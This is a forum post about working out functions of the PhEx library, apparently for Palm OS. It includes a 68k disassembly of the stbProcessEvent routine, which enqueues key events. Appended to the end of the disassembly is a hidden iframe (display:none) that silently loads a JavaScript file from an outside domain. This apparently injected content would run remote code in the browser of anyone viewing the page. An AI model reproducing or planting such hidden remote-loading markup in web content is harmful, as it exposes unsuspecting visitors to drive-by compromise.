|
Some PhEx documentation
The folks over at BaseJet sent me a nice little app that allows you to play with the functions in the PhEx library which I put together a few weeks ago.
Using this app, I've been able to figure out how some of these functions work. Attached is a PDF with a chart of the functions I've figured out.
I'm still not sure what stbProcessEvent is all about. I've attached the dissassembly below in case someone wants to try to figure out what its doing.
Jake
; stbProcessEvent
.L342:
00003314 4e560000 LINK A6,#0
00003318 2f0a MOVE.L A2,-(A7)
0000331a 2f03 MOVE.L D3,-(A7)
0000331c 162e0008 MOVE.B 8(A6),D3
00003320 4ebad744 JSR -10428(PC)!0a66 phPrvGetGlobals
00003324 2448 MOVEA.L A0,A2
00003326 4a2a0032 TST.B 50(A2)
0000332a 6700011a BEQ $+282 .L351
0000332e 4a2a0044 TST.B 68(A2)
00003332 6744 BEQ $+68 .L344
00003334 0c030014 CMPI.B #20,D3
00003338 651a BCS $+26 .L343
0000333a 0c03005f CMPI.B #95,D3
0000333e 6414 BCC $+20 .L343
00003340 3f3c0008 MOVE.W #8,-(A7)
00003344 2f3c155b0000 MOVE.L #358285312!' [ ',-(A7)
0000334a 4e4fa12d SYSTRAP EvtEnqueueKey
0000334e 5c4f ADDQ.W #6,A7
00003350 600000f4 BRA $+244 .L351
.L343:
00003354 0c03008a CMPI.B #-118,D3
00003358 650000ec BCS $+236 .L351
0000335c 0c0300a0 CMPI.B #-96,D3
00003360 640000e4 BCC $+228 .L351
00003364 3f3c0008 MOVE.W #8,-(A7)
00003368 2f3c15610000 MOVE.L #358678528!' a ',-(A7)
0000336e 4e4fa12d SYSTRAP EvtEnqueueKey
00003372 5c4f ADDQ.W #6,A7
00003374 600000d0 BRA $+208 .L351
.L344:
00003378 0c03001c CMPI.B #28,D3
0000337c 6414 BCC $+20 .L345
0000337e 3f3c0008 MOVE.W #8,-(A7)
00003382 2f3c155c0000 MOVE.L #358350848!' \ ',-(A7)
00003388 4e4fa12d SYSTRAP EvtEnqueueKey
0000338c 5c4f ADDQ.W #6,A7
0000338e 600000b6 BRA $+182 .L351
.L345:
00003392 0c03002c CMPI.B #44,D3
00003396 641c BCC $+28 .L346
00003398 4a2a0035 TST.B 53(A2)
0000339c 670000a8 BEQ $+168 .L351
000033a0 3f3c0008 MOVE.W #8,-(A7)
000033a4 2f3c15570000 MOVE.L #358023168!' W ',-(A7)
000033aa 4e4fa12d SYSTRAP EvtEnqueueKey
000033ae 5c4f ADDQ.W #6,A7
000033b0 60000094 BRA $+148 .L351
.L346:
000033b4 0c03003e CMPI.B #62,D3
000033b8 641a BCC $+26 .L347
000033ba 4a2a0037 TST.B 55(A2)
000033be 67000086 BEQ $+134 .L351
000033c2 3f3c0008 MOVE.W #8,-(A7)
000033c6 2f3c155d0000 MOVE.L #358416384!' ] ',-(A7)
000033cc 4e4fa12d SYSTRAP EvtEnqueueKey
000033d0 5c4f ADDQ.W #6,A7
000033d2 6072 BRA $+114 .L351
.L347:
000033d4 0c030051 CMPI.B #81,D3
000033d8 641a BCC $+26 .L348
000033da 0c2a00010039 CMPI.B #1,57(A2)
000033e0 6764 BEQ $+100 .L351
000033e2 3f3c0008 MOVE.W #8,-(A7)
000033e6 2f3c15560000 MOVE.L #357957632!' V ',-(A7)
000033ec 4e4fa12d SYSTRAP EvtEnqueueKey
000033f0 5c4f ADDQ.W #6,A7
000033f2 6052 BRA $+82 .L351
.L348:
000033f4 0c030062 CMPI.B #98,D3
000033f8 6418 BCC $+24 .L349
000033fa 4a2a003a TST.B 58(A2)
000033fe 6746 BEQ $+70 .L351
00003400 3f3c0008 MOVE.W #8,-(A7)
00003404 2f3c155e0000 MOVE.L #358481920!' ^ ',-(A7)
0000340a 4e4fa12d SYSTRAP EvtEnqueueKey
0000340e 5c4f ADDQ.W #6,A7
00003410 6034 BRA $+52 .L351
.L349:
00003412 0c030075 CMPI.B #117,D3
00003416 6412 BCC $+18 .L350
00003418 3f3c0008 MOVE.W #8,-(A7)
0000341c 2f3c155f0000 MOVE.L #358547456!' _ ',-(A7)
00003422 4e4fa12d SYSTRAP EvtEnqueueKey
00003426 5c4f ADDQ.W #6,A7
00003428 601c BRA $+28 .L351
.L350:
0000342a 0c03008a CMPI.B #-118,D3
0000342e 6416 BCC $+22 .L351
00003430 4a2a003c TST.B 60(A2)
00003434 6710 BEQ $+16 .L351
00003436 3f3c0008 MOVE.W #8,-(A7)
0000343a 2f3c15600000 MOVE.L #358612992!' ` ',-(A7)
00003440 4e4fa12d SYSTRAP EvtEnqueueKey
00003444 5c4f ADDQ.W #6,A7
.L351:
00003446 261f MOVE.L (A7)+,D3
00003448 245f MOVEA.L (A7)+,A2
0000344a 4e5e UNLK A6
0000344c 4e75 RTS<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
__________________
All About Jake
|
|